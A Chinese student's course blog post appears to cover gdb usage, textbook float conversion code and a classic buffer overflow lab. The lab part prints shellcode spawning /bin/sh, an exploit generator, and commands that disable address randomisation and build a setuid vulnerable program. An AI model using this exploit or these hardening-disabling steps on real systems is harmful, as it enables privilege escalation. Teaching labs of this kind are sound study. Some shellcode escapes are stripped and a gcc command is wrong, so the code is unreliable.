zoukankan      html  css  js  c++  java
  • 20155229 《信息安全系统设计基础》第六周作业补充

    课堂上只有实践3没有完成。
    (因为是现在虚拟机上做的缓冲溢出漏洞实验,虚拟机崩了,还没重新安装,所以这两天我用的是实验一老师让用的vmware中的ubuntu)

    课上实践第三题

    代码

    
    #include <stdio.h>
    int main(){
    short int v = -5229;
    unsigned short uv = (unsigned short) v;
    printf("v = %d,  uv = %u
     ",  v, uv);
    }
    

    刚开始会出现下图情况

    没有符号表被读取,请使用“file”命令

    往回看时发现我在编译时用的是gcc -o week06035229 week06035229.c

    这样生成的二进制可执行文件没有使用-g选项

    正确编译为gcc -o -g week06035229 week06035229.c

    然后进行 gdb 调试,用p/x v;p /x uv 查看变量的值

    • p/x v代表的意思为 打印当前v变量的十六进制值

    • 不仅程序中的变量,寄存器的值也能打印(例如我们在课上测试5中运用到的p $pc)

    • 而除了$pc 还有%esp,%edp等寄存器

    • i(info) r(reg)打印的,除了左边的寄存器名称外,中间是寄存器存的值,右边是这个值对应的内存地址中的值。

    • p$打印的是上一次打印的值,$$
      打印的是上上次打印过的值。print是有计数的。

    • 除了p/x外,还有p/c``p/f p/t p/o p/d

    f为浮点,c为字符,t为二进制,o为八进制,d为十进制

    书本p97 2.96

        else
        {
            exp -= 127;
            frac |= 0x800000;
            if (exp > 23)
            {
                exp -= 23;
                frac <<= exp;
            }
            else if (exp < 23)
            {
                exp = 23 - exp;
                frac >>= exp;
            }
            if (sign == 1)
                i = (~frac) + 1;
            else
                i = frac;
        }
    
    

    书本2.97

    主要是int到float的转化,有几个需要注意的地方:i=0;i为负数的时候。

      sign = i >> 31;
        if (i == Min)  //i为最小负数的时候
        {
            exp = 158;
            frac = 0;
        }
        else if (i == 0)  //i为0的时候
        {
            exp = 0;
            frac = 0;
        }
    
    
    

    i为负数时,要求其原码

           if (sign)  
                frac = (~i + 1) << 1;
            else
                frac = i << 1;
            exp = 0;
            while (!(frac & 0x80000000)) 
            {
                exp++;
                frac <<= 1;
            }
            exp = 157 - exp;
            last_bit = ((frac >> 8) & 1);
    
    

    缓冲溢出漏洞实验

    搭建32位操作环境

    输入安装的编译32位c程序的命令

    sudo apt-get update
    
    sudo apt-get install lib32z1 libc6-dev-i386
    
    sudo apt-get install lib32readline-gplv2-dev
    
    

    输入命令linux32,进入32位环境。输入/bin/bash,使用bash。

    为了防止机器随意对地址猜测,需要关闭功能地址空间随机化初始功能

    sudo sysctl -w kernel.randomize_va_space=0

    用shell(zsh)代替/bin/bash,设置zsh程序:

    sudo su
    
    cd /bin
    
    rm sh
    
    ln -s zsh sh
    
    exit
    
    

    在输入以上的内容后,出现以下错误,重新打开终端也依然有该错误。但我没忙着解决这个问题,而是接着做实验

    shellcode代码

    #include <stdio.h>
    int main( ) {
    char *name[2];
    name[0] = ‘‘/bin/sh’’;
    name[1] = NULL;
    execve(name[0], name, NULL);
    }
    
    

    编译产生32位的汇编
    gcc -m32 -g shellcode.c -o shellcode

    一直出现错误,如下图所示

    在“/tmp”目录下保存以下代码为“stack.c”:

    /* stack.c */
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
    char buffer[12];
    
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    
    return 1;
    }
    
    int main(int argc, char **argv)
    {
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly
    ");
    return 1;
    }
    
    

    编译该程序,设置SET-UID

    sudo su
    
    gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    
    chmod u+s stack
    
    exit
    
    • –fno-stack-protector 关闭gcc阻止缓冲区溢出的机制
    • -z execstack 用于允许执行栈

    编译时还是存在错误

    在/tmp保存“exploit.c”代码

    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[]=
    
    "x31xc0"    //xorl %eax,%eax
    "x50"        //pushl %eax
    "x68""//sh"  //pushl $0x68732f2f
    "x68""/bin"  //pushl $0x6e69622f
    "x89xe3"    //movl %esp,%ebx
    "x50"        //pushl %eax
    "x53"        //pushl %ebx
    "x89xe1"    //movl %esp,%ecx
    "x99"        //cdq
    "xb0x0b"    //movb $0x0b,%al
    "xcdx80"    //int $0x80
    ;
    
    void main(int argc, char **argv)
    {
    char buffer[517];
    FILE *badfile;
    
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    
    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
    strcpy(buffer+100,shellcode);
    
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
    }
    
    

    gdb stack

    disass main

    结果如图:

    设置断点并运行,str的地址为0x0ffffd0c8

    根据语句strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd058(十六进制)+100(十进制)=0xffffd0c8(十六进制)

    修改exploit.c中的x??x??x??x??,修改为
    xc8xd0xffxff

    编译exploit.c程序
    gcc -m32 -o exploit exploit.c

    进行攻击,先攻击程序exploit,再攻击stack

    结果如下:
    段错误

    于是,我又重新进行一次汇编
    发现我在设置断点时将断点位置设错,于是,得到的str地址为0xffffce50,shellcode的地址为0xffffceb4

    再次修改exploit.c文件后,进行攻击,还为段错误

    于是我又重新认真的汇编几次,结构都是一样。

    我在查看了/tmp文件夹下的文件,发现stack文件标红,而exploit文件显绿

    如图:

    我想应该是stack的问题,于是重新查看做过的步骤,在编译stack时就有错误,之前/bin/bash也有错误。

    后续

    第二天,我再打开虚拟机时,出现了该问题

    选择GNU GRUB

    GNU GRUB(GRand Unified Bootloader简称“GRUB”)是一个来自GNU项目的多操作系统启动程序。GRUB是多启动规范的实现,它允许用户可以在计算机内同时拥有多个操作系统,并在计算机启动时选择希望运行的操作系统。

    然后进入了tty1命令行模式

    在网上找方法

    ctrl+alt+f7和用命令sudo service lightdm restart想要返回桌面,都不成功

    我认为是之前/bin/bash的问题,但是一直在网上找不到解决的方案

    *所以到博客截止时间我的虚拟机问题一直未解决。
  • 相关阅读:
    多个div并排显示的居中问题——来自腾讯的一道面试题
    c++ 类的对象与指针
    c++ 联合体
    用户输入一个数字,找到所有能够除尽它的数的总个数
    javascript
    今天的排版
    论学习php的方法
    我想对所有新程序员说的一些话
    注册表单
    安卓机器人
  • 原文地址:https://www.cnblogs.com/fyhtvxq/p/7750262.html
Copyright © 2011-2022 走看看